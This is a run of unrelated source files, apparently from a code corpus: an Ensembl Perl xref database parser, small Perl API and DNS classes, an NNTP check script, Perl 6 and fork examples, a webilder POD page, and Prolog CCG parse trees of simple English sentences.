. 'VALUES(?,?,?,?)' );
}
####################################
# Add the object_xref and croak if it fails
####################################
$add_identity_xref_sth->execute($object_xref_id, $score, $query_identity, $target_identity
) or croak("$object_xref_id\t$score\t\t$query_identity\t$target_identity\n");
return;
}
###################################################################
# Create new xref if needed and add as a direct xref to a stable_id
###################################################################
sub add_to_direct_xrefs{
my ($self, $arg_ref) = @_;
my $stable_id = $arg_ref->{stable_id} || croak ('Need a direct_xref on which this xref linked too' );
my $type = $arg_ref->{type} || croak ('Need a table type on which to add');
my $acc = $arg_ref->{acc} || croak ('Need an accession of this direct xref' );
my $source_id = $arg_ref->{source_id} || croak ('Need a source_id for this direct xref' );
my $species_id = $arg_ref->{species_id} || croak ('Need a species_id for this direct xref' );
my $version = $arg_ref->{version} || 0;
my $label = $arg_ref->{label} || $acc;
my $description = $arg_ref->{desc};
my $linkage = $arg_ref->{linkage};
my $dbi= $self->dbi();
######################
# Get statement handle
######################
if(!(defined $add_xref_sth)){
my $sql = (<<'AXX');
INSERT INTO xref (accession,version,label,description,source_id,species_id, info_type)
VALUES (?,?,?,?,?,?,?)
AXX
$add_xref_sth = $dbi->prepare($sql);
}
###############################################################
# If the acc already has an xrefs find it else cretae a new one
###############################################################
my $direct_id = $self->get_xref($acc, $source_id, $species_id);
if(!(defined $direct_id)){
$add_xref_sth->execute(
$acc, $version || 0, $label,
$description, $source_id, $species_id, 'DIRECT'
) or croak("$acc\t$label\t\t$source_id\t$species_id\n");
}
$direct_id = $self->get_xref($acc, $source_id, $species_id);
#########################
# Now add the direct info
#########################
$self->add_direct_xref($direct_id, $stable_id, $type, '');
return;
}
##################################################################
# Add a single record to the direct_xref table.
# Note that an xref must already have been added to the xref table
##################################################################
sub add_direct_xref {
my ($self, $general_xref_id, $ensembl_stable_id, $ensembl_type, $linkage_type) = @_;
my $dbi = $self->dbi;
#######################################################
# Create statement handles if they do not exist already
########################################################
if (!(defined $add_direct_xref_sth{$ensembl_type})){
my $add_gene_direct_xref_sth = $dbi->prepare('INSERT INTO gene_direct_xref VALUES(?,?,?)');
my $add_tr_direct_xref_sth = $dbi->prepare('INSERT INTO transcript_direct_xref VALUES(?,?,?)');
my $add_tl_direct_xref_sth = $dbi->prepare('INSERT INTO translation_direct_xref VALUES(?,?,?)');
$add_direct_xref_sth{'gene'} = $add_gene_direct_xref_sth;
$add_direct_xref_sth{'transcript'} = $add_tr_direct_xref_sth;
$add_direct_xref_sth{'translation'} = $add_tl_direct_xref_sth;
$add_direct_xref_sth{'Gene'} = $add_gene_direct_xref_sth;
$add_direct_xref_sth{'Transcript'} = $add_tr_direct_xref_sth;
$add_direct_xref_sth{'Translation'} = $add_tl_direct_xref_sth;
}
##############################
# Make sure type is recognised
##############################
if(!(defined $add_direct_xref_sth{$ensembl_type})){
croak "ERROR add_direct_xref_sth does not exist for $ensembl_type ???";
}
else{
##########################
# Add the direct xref data
##########################
$add_direct_xref_sth{$ensembl_type}->execute($general_xref_id, $ensembl_stable_id, $linkage_type);
}
return;
}
##########################################################
# Create/Add xref and add it as a dependency of the master
##########################################################
sub add_dependent_xref{
my ($self, $arg_ref) = @_;
my $master_xref = $arg_ref->{master_xref_id} || croak( 'Need a master_xref_id on which this xref depends on' );
my $acc = $arg_ref->{acc} || croak( 'Need an accession of this dependent xref' );
my $source_id = $arg_ref->{source_id} || croak( 'Need a source_id for this dependent xref' );
my $species_id = $arg_ref->{species_id} || croak( 'Need a species_id for this dependent xref' );
my $version = $arg_ref->{version} || 0;
my $label = $arg_ref->{label} || $acc;
my $description = $arg_ref->{desc};
my $linkage = $arg_ref->{linkage};
my $dbi = $self->dbi;
########################################
# Create/Get the statement handle needed
########################################
if(!(defined $add_xref_sth)){
my $sql = (<<'IXR');
INSERT INTO xref
(accession,version,label,description,source_id,species_id, info_type)
VALUES (?,?,?,?,?,?,?)
IXR
$add_xref_sth = $dbi->prepare($sql);
}
if(!(defined $add_dependent_xref_sth)){
my $sql = (<<'ADX');
INSERT INTO dependent_xref
(master_xref_id,dependent_xref_id,linkage_annotation,linkage_source_id)
VALUES (?,?,?,?)
ADX
$add_dependent_xref_sth = $dbi->prepare($sql);
}
####################################################
# Does the xref already exist. If so get its xref_id
# else create it and get the new xref_id
####################################################
my $dependent_id = $self->get_xref($acc, $source_id, $species_id);
if(!(defined $dependent_id)){
$add_xref_sth->execute(
$acc, $version, $label,
$description, $source_id, $species_id, 'DEPENDENT'
) or croak("$acc\t$label\t\t$source_id\t$species_id\n");
}
$dependent_id = $self->get_xref($acc, $source_id, $species_id);
################################################
# Croak if we have failed to create.get the xref
################################################
if(!(defined $dependent_id)){
croak("$acc\t$label\t\t$source_id\t$species_id\n");
}
########################################################################################
# If the dependency has not already been set ( is already in hash xref_dependent_mapped)
# then add it
########################################################################################
if(!(defined $xref_dependent_mapped{"$master_xref|$dependent_id"}) || $xref_dependent_mapped{"$master_xref|$dependent_id"} ne $linkage){
$add_dependent_xref_sth->execute( $master_xref, $dependent_id, $linkage,
$source_id )
or croak("$master_xref\t$dependent_id\t$linkage\t$source_id");
$xref_dependent_mapped{"$master_xref|$dependent_id"} = $linkage;
}
return $dependent_id;
}
##################################################################
# Add synonyms for a particular accession for one or more sources.
# This is for priority xrefs where we have more than one source
# but want to write synonyms for each with the same accession
##################################################################
sub add_to_syn_for_mult_sources{
my ($self, $acc, $sources, $syn, $species_id) = @_;
my $dbi = $self->dbi;
if(!(defined $add_synonym_sth)){
$add_synonym_sth = $dbi->prepare('INSERT IGNORE INTO synonym VALUES(?,?)');
}
foreach my $source_id (@{$sources}){
my $xref_id = $self->get_xref($acc, $source_id, $species_id);
if(defined $xref_id){
$add_synonym_sth->execute( $xref_id, $syn )
or croak( $dbi->errstr() . "\n $xref_id\n $syn\n" );
}
}
return;
}
##########################################################
# Add synomyn for an xref given by accession and source_id
##########################################################
sub add_to_syn{
my ($self, $acc, $source_id, $syn, $species_id) = @_;
my $dbi = $self->dbi;
if(!(defined $add_synonym_sth)){
$add_synonym_sth = $dbi->prepare('INSERT IGNORE INTO synonym VALUES(?,?)');
}
my $xref_id = $self->get_xref($acc, $source_id, $species_id);
if(defined $xref_id){
$add_synonym_sth->execute( $xref_id, $syn )
or croak( $dbi->errstr() . "\n $xref_id\n $syn\n" );
}
else {
carp ( "Could not find acc $acc in "
. "xref table source = $source_id of species $species_id\n" );
}
return;
}
##########################################
# Add synomyn for an xref given by xref_id
##########################################
sub add_synonym{
my ($self, $xref_id, $syn) = @_;
my $dbi=$self->dbi;
if(!(defined $add_synonym_sth)){
$add_synonym_sth = $dbi->prepare('INSERT IGNORE INTO synonym VALUES(?,?)');
}
$add_synonym_sth->execute( $xref_id, $syn )
or croak( $dbi->errstr()."\n $xref_id\n $syn\n\n" );
return;
}
########################################################
# Create a hash that uses the label as a key
# and the acc as the value. Also add synonyms for these
# as keys.
#######################################################
sub get_label_to_acc{
my ($self, $name, $species_id, $prio_desc) = @_;
my %hash1=();
my $sql =(<<"GLA");
SELECT xref.accession, xref.label
FROM xref, source
WHERE source.name LIKE '$name%' AND
xref.source_id = source.source_id
GLA
if(defined $prio_desc){
$sql .= " and source.priority_description like '$prio_desc'";
}
if(defined $species_id){
$sql .= " and xref.species_id = $species_id";
}
my $sub_sth = $self->dbi->prepare($sql);
$sub_sth->execute();
while(my @row = $sub_sth->fetchrow_array()) {
$hash1{$row[1]} = $row[0];
}
####################
# Remember synonyms
####################
$sql =(<<"GLS");
SELECT xref.accession, synonym.synonym
FROM xref, source, synonym
WHERE synonym.xref_id = xref.xref_id AND
source.name like '$name%' AND
xref.source_id = source.source_id
GLS
if(defined $prio_desc){
$sql .= " AND source.priority_description LIKE '$prio_desc'";
}
if(defined $species_id){
$sql .= " AND xref.species_id = $species_id";
}
$sub_sth = $self->dbi->prepare($sql);
$sub_sth->execute();
while(my @row = $sub_sth->fetchrow_array()) {
$hash1{$row[1]} = $row[0];
}
return \%hash1;
}
########################################################
# Create a hash that uses the accession as a key
# and the label as the value.
#######################################################
sub get_acc_to_label{
my ($self, $name, $species_id, $prio_desc) = @_;
my %hash1=();
my $sql =(<<"GLA");
SELECT xref.accession, xref.label
FROM xref, source
WHERE source.name LIKE '$name%' AND
xref.source_id = source.source_id
GLA
if(defined $prio_desc){
$sql .= " and source.priority_description like '$prio_desc'";
}
if(defined $species_id){
$sql .= " and xref.species_id = $species_id";
}
my $sub_sth = $self->dbi->prepare($sql);
$sub_sth->execute();
while(my @row = $sub_sth->fetchrow_array()) {
$hash1{$row[0]} = $row[1];
}
return \%hash1;
}
########################################################
# Create a hash that uses the label as a key
# and the desc as the value. Also add synonyms for these
# as keys.
#######################################################
sub get_label_to_desc{
my ($self, $name, $species_id, $prio_desc) = @_;
my %hash1=();
my $sql =(<<"GDH");
SELECT xref.description, xref.label
FROM xref, source
WHERE source.name LIKE '$name%' AND
xref.source_id = source.source_id
GDH
if(defined $prio_desc){
$sql .= " and source.priority_description like '$prio_desc'";
}
if(defined $species_id){
$sql .= " and xref.species_id = $species_id";
}
my $sub_sth = $self->dbi->prepare($sql);
$sub_sth->execute();
while(my @row = $sub_sth->fetchrow_array()) {
$hash1{$row[1]} = $row[0];
}
###########################
# Also include the synonyms
###########################
my $syn_sql =(<<"GDS");
SELECT xref.description, synonym.synonym
FROM xref, source, synonym
WHERE synonym.xref_id = xref.xref_id AND
source.name like '$name%' AND
xref.source_id = source.source_id
GDS
if(defined $prio_desc){
$syn_sql .= " AND source.priority_description LIKE '$prio_desc'";
}
if(defined $species_id){
$syn_sql .= " AND xref.species_id = $species_id";
}
$sub_sth = $self->dbi->prepare($syn_sql);
$sub_sth->execute();
while(my @row = $sub_sth->fetchrow_array()) {
$hash1{$row[1]} = $row[0];
}
return \%hash1;
}
########################################
# Set release for a particular source_id.
########################################
sub set_release{
my ($self, $source_id, $s_release ) = @_;
my $sth =
$self->dbi->prepare('UPDATE source SET source_release=? WHERE source_id=?');
if($verbose) { print "Setting release to '$s_release' for source ID '$source_id'\n"; }
$sth->execute( $s_release, $source_id );
return;
}
#############################################################################
# create a hash of all the dependent mapping that exist for a given source_id
# Of the format {master_xref_id|dependent_xref_id}
#############################################################################
sub get_dependent_mappings {
my $self = shift;
my $source_id = shift;
my $sql =(<<"GDM");
SELECT d.master_xref_id, d.dependent_xref_id
FROM dependent_xref d, xref x
WHERE x.xref_id = d.dependent_xref_id AND
x.source_id = $source_id
GDM
my $sth = $self->dbi->prepare($sql);
$sth->execute();
my $master_xref;
my $dependent_xref;
$sth->bind_columns(\$master_xref,\$dependent_xref);
while($sth->fetch){
$xref_dependent_mapped{"$master_xref|$dependent_xref"}=1;
}
$sth->finish;
return;
}
##########################################################
# Create a has that uses the accession and labels for keys
# and an array of the synonyms as the vaules
##########################################################
sub get_ext_synonyms{
my $self = shift;
my $source_name = shift;
my %ext_syns;
my %seen; # can be in more than once fro each type of external source.
my $separator = qw{:};
my $sql =(<<"GES");
SELECT x.accession, x.label, sy.synonym
FROM xref x, source so, synonym sy
WHERE x.xref_id = sy.xref_id AND
so.source_id = x.source_id AND
so.name like '$source_name'
GES
my $sth = $self->dbi->prepare($sql);
$sth->execute;
my ($acc, $label, $syn);
$sth->bind_columns(\$acc, \$label, \$syn);
my $count = 0;
while($sth->fetch){
if(!(defined $seen{$acc.$separator.$syn})){
push @{$ext_syns{$acc}}, $syn;
push @{$ext_syns{$label}}, $syn;
$count++;
}
$seen{$acc.$separator.$syn} = 1;
}
$sth->finish;
return \%ext_syns;
}
######################################################################
# Store data needed to beable to revert to same stage as after parsing
######################################################################
sub parsing_finished_store_data {
my $self = shift;
# Store max id for
# gene/transcript/translation_direct_xref general_xref_id #Does this change??
# xref xref_id
# dependent_xref object_xref_id is all null
# go_xref object_xref_id
# object_xref object_xref_id
# identity_xref object_xref_id
my %table_and_key =
( 'xref' => 'xref_id', 'object_xref' => 'object_xref_id' );
foreach my $table ( keys %table_and_key ) {
my $sth = $self->dbi->prepare(
'select MAX(' . $table_and_key{$table} . ") from $table" );
$sth->execute;
my $max_val;
$sth->bind_columns( \$max_val );
$sth->fetch;
$sth->finish;
$self->add_meta_pair( 'PARSED_' . $table_and_key{$table},
$max_val || 1 );
}
return;
} ## end sub parsing_finished_store_data
sub get_meta_value {
my ($self, $key) = @_;
my $sth = $self->dbi->prepare('select meta_value from meta where meta_key like "'.$key.'" order by meta_id');
$sth->execute();
my $value;
$sth->bind_columns(\$value);
while($sth->fetch){ # get the last one
}
$sth->finish;
return $value;
}
1;
| mjg17/ensembl | misc-scripts/xref_mapping/XrefParser/BaseParser.pm | Perl | apache-2.0 | 49,606 |
package VMOMI::ArrayOfHostMemberRuntimeInfo;
use parent 'VMOMI::ComplexType';
use strict;
use warnings;
our @class_ancestors = ( );
our @class_members = (
['HostMemberRuntimeInfo', 'HostMemberRuntimeInfo', 1, 1],
);
sub get_class_ancestors {
return @class_ancestors;
}
sub get_class_members {
my $class = shift;
my @super_members = $class->SUPER::get_class_members();
return (@super_members, @class_members);
}
1;
| stumpr/p5-vmomi | lib/VMOMI/ArrayOfHostMemberRuntimeInfo.pm | Perl | apache-2.0 | 441 |
package Paws::CloudDirectory::DetachTypedLink;
use Moose;
has DirectoryArn => (is => 'ro', isa => 'Str', traits => ['ParamInHeader'], header_name => 'x-amz-data-partition', required => 1);
has TypedLinkSpecifier => (is => 'ro', isa => 'Paws::CloudDirectory::TypedLinkSpecifier', required => 1);
use MooseX::ClassAttribute;
class_has _api_call => (isa => 'Str', is => 'ro', default => 'DetachTypedLink');
class_has _api_uri => (isa => 'Str', is => 'ro', default => '/amazonclouddirectory/2017-01-11/typedlink/detach');
class_has _api_method => (isa => 'Str', is => 'ro', default => 'PUT');
class_has _returns => (isa => 'Str', is => 'ro', default => 'Paws::API::Response');
class_has _result_key => (isa => 'Str', is => 'ro');
1;
### main pod documentation begin ###
=head1 NAME
Paws::CloudDirectory::DetachTypedLink - Arguments for method DetachTypedLink on Paws::CloudDirectory
=head1 DESCRIPTION
This class represents the parameters used for calling the method DetachTypedLink on the
Amazon CloudDirectory service. Use the attributes of this class
as arguments to method DetachTypedLink.
You shouldn't make instances of this class. Each attribute should be used as a named argument in the call to DetachTypedLink.
As an example:
$service_obj->DetachTypedLink(Att1 => $value1, Att2 => $value2, ...);
Values for attributes that are native types (Int, String, Float, etc) can passed as-is (scalar values). Values for complex Types (objects) can be passed as a HashRef. The keys and values of the hashref will be used to instance the underlying object.
=head1 ATTRIBUTES
=head2 B<REQUIRED> DirectoryArn => Str
The Amazon Resource Name (ARN) of the directory where you want to
detach the typed link.
=head2 B<REQUIRED> TypedLinkSpecifier => L<Paws::CloudDirectory::TypedLinkSpecifier>
Used to accept a typed link specifier as input.
=head1 SEE ALSO
This class forms part of L<Paws>, documenting arguments for method DetachTypedLink in L<Paws::CloudDirectory>
=head1 BUGS and CONTRIBUTIONS
The source code is located here: https://github.com/pplu/aws-sdk-perl
Please report bugs to: https://github.com/pplu/aws-sdk-perl/issues
=cut
| ioanrogers/aws-sdk-perl | auto-lib/Paws/CloudDirectory/DetachTypedLink.pm | Perl | apache-2.0 | 2,181 |
#!/usr/bin/perl -w
use strict;
local $| = 1;
use Getopt::Std;
require "$ENV{'HOME'}/projects/check/monitor.pl";
my(%opts);
getopts('h:t:r:D:', \%opts); #Values in %opts
our $config;
$config->{'DEBUG'} = $opts{'D'} || 0;
if ($config->{'DEBUG'}){
notify('debug', "DEBUG set to level $config->{'DEBUG'}");
}
$config->{'program'} = 'check_nntp';
$config->{'version'} = "0.01";
$config->{'whom'} = "noc\@grot.org";
if (! defined $config->{'logfacility'}){
$config->{'logfacility'} = 'user';
}
openlog($config->{'program'},'cons,pid', $config->{'logfacility'});
#my($host, $timeout, $reportwhich) = @ARGV;
$config->{'host'} = $opts{'h'} || $ENV{'NNTPSERVER'};
$config->{'timeout'} = $opts{'t'} || 5;
$config->{'reportwhich'} = $opts{'r'} || "success";
use Net::NNTP;
my $nntp = Net::NNTP->new(
$config->{'host'},
Timeout=>$config->{'timeout'},
Debug=>$config->{'DEBUG'}
);
if (defined $nntp){
$nntp->quit;
if ($config->{'reportwhich'} eq "success"){
notify("crit", "Connection to $config->{'host'} succeeded in less than $config->{'timeout'} secs!");
}
} else {
if ($config->{'reportwhich'} eq "failure"){
notify("crit", "Connection to $config->{'host'} timed out in $config->{'timeout'} secs");
}
}
closelog();
| rpaditya/check | check_nntp.pl | Perl | bsd-2-clause | 1,266 |
package Net::LDNS::RR::SSHFP;
use parent 'Net::LDNS::RR';
1;
=head1 NAME
Net::LDNS::RR::SSHFP - Type SSHFP record
=head1 DESCRIPTION
A subclass of L<Net::LDNS::RR>, so it has all the methods of that class available in addition to the ones documented here.
=head1 METHODS
No RDATA methods implemented yet.
=cut
| gitpan/Net-LDNS | lib/Net/LDNS/RR/SSHFP.pm | Perl | bsd-2-clause | 320 |
#!/home/steve/perl6/perl6
my @a = 2, 3, 1;
# number of elements
my $x = @a.elems;
my $y = @a;
say $x;
say $y;
say 'blah' if @a < 5;
# doesn't work
say @a;
# other built in methods
say @a.sort;
say @a.map({ $_ + 10 });
# or even
say @a.sort.map({ $_ + 10 });
my %h = z => 26, b => 5, c => 2, a => 9;
say %h.keys;
say %h.values;
say %h.keys.sort;
| jmcveigh/komodo-tools | scripts/perl/perl6_examples/var_objects.pl | Perl | bsd-2-clause | 358 |
=head1 NAME
webilder_applet - GNOME panel applet for Webilder.
=head1 SYNOPSIS
webilder_applet [[run-in-window]]
=head1 DESCRIPTION
B<webilder_applet> is a GNOME panel applet that automatically downloads
wallpapers on regular intervals. It can also be used to change the current
wallpaper or to open B<webilder_desktop>.
=head1 OPTIONS
webilder_applet can be run as a (tiny) window if it is given the optional
command line argument I<run-in-window>.
=head1 BUGS
Please report bugs in http://github.com/thesamet/webilder/issues
=head1 AUTHORS
B<Webilder> was written by Nadav Samet <thesamet@gmail.com>.
Webilder is released under the BSD License.
| thesamet/webilder | manpages/webilder_applet.pod | Perl | bsd-3-clause | 659 |
use strict;
use warnings;
use diagnostics;
use 5.20.1;
use FindBin;
say "here is the findbin path:\n$FindBin::Bin\n\nand here is the script:\n$FindBin::Script\n";
use POSIX ":sys_wait_h";
use Time::HiRes qw(sleep);
my $pid = fork();
die "Could not fork\n" if not defined $pid;
if (not $pid) {
say "In child";
sleep 1;
exit 3;
}
say "In parent of $pid";
while (1) {
my $res = waitpid($pid, WNOHANG);
say "Res: $res";
sleep(0.1);
if ($res == -1) {
say "Some error occurred ", $? >> 8;
exit();
}
if ($res) {
say "Child $res ended with ", $? >> 8;
last;
}
}
say "about to wait()";
say wait();
say "wait() done";
| lust4life/quick.dirty.perl | Perl STH/learn/findbin.pl | Perl | bsd-3-clause | 693 |
% this file was generated by the following command(s):
% /home/fibo/Desktop/candc-1.00/dev_ver/candc/bin/candc --models /home/fibo/Desktop/candc-1.00/dev_ver/candc/models --candc-printer boxer --candc-parser-noisy_rules=false --input Ubuntu/Sick/SPL_SICK/SICK_trial_d_spl.txt --output SICK_trial_d_occg.pl
:- op(601, xfx, (/)).
:- op(601, xfx, (\)).
:- multifile ccg/2, id/2.
:- discontiguous ccg/2, id/2.
ccg(1,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O'))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'smiling', 'smile', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'nearby', 'nearby', 'RB', 'I-ADVP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(2,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O'))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
t(np:thr, 'there', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
t(s:ng\np, 'smiling', 'smile', 'VBG', 'I-VP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(3,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'jacket', 'jacket', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'tricks', 'trick', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'motorbike', 'motorbike', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(4,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'skilled', 'skilled', 'JJ', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bicycle', 'bicycle', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'one', 'one', 'CD', 'I-NP', 'O'),
t(n, 'wheel', 'wheel', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(5,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Four', 'four', 'CD', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'backbends', 'backbend', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'gym', 'gym', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(6,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Four', 'four', 'CD', 'I-NP', 'O'),
t(n, 'girls', 'girl', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'backbends', 'backbend', 'NNS', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-NP', 'O'),
lx(np, n,
t(n, 'outdoors', 'outdoors', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(7,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'player', 'player', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'throwing', 'throw', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(8,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'teams', 'team', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'competing', 'compete', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'football', 'football', 'NN', 'I-NP', 'O'),
t(n, 'match', 'match', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(9,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Five', 'five', 'CD', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wooden', 'wooden', 'JJ', 'I-NP', 'O'),
t(n, 'hut', 'hut', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(10,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Five', 'five', 'CD', 'I-NP', 'O'),
t(n, 'children', 'child', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wooden', 'wooden', 'JJ', 'I-NP', 'O'),
t(n, 'hut', 'hut', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(11,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Few', 'few', 'JJ', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/pp, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
fa(n,
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'),
t(n, 'tables', 'table', 'NNS', 'I-NP', 'O'))),
fa(np\np,
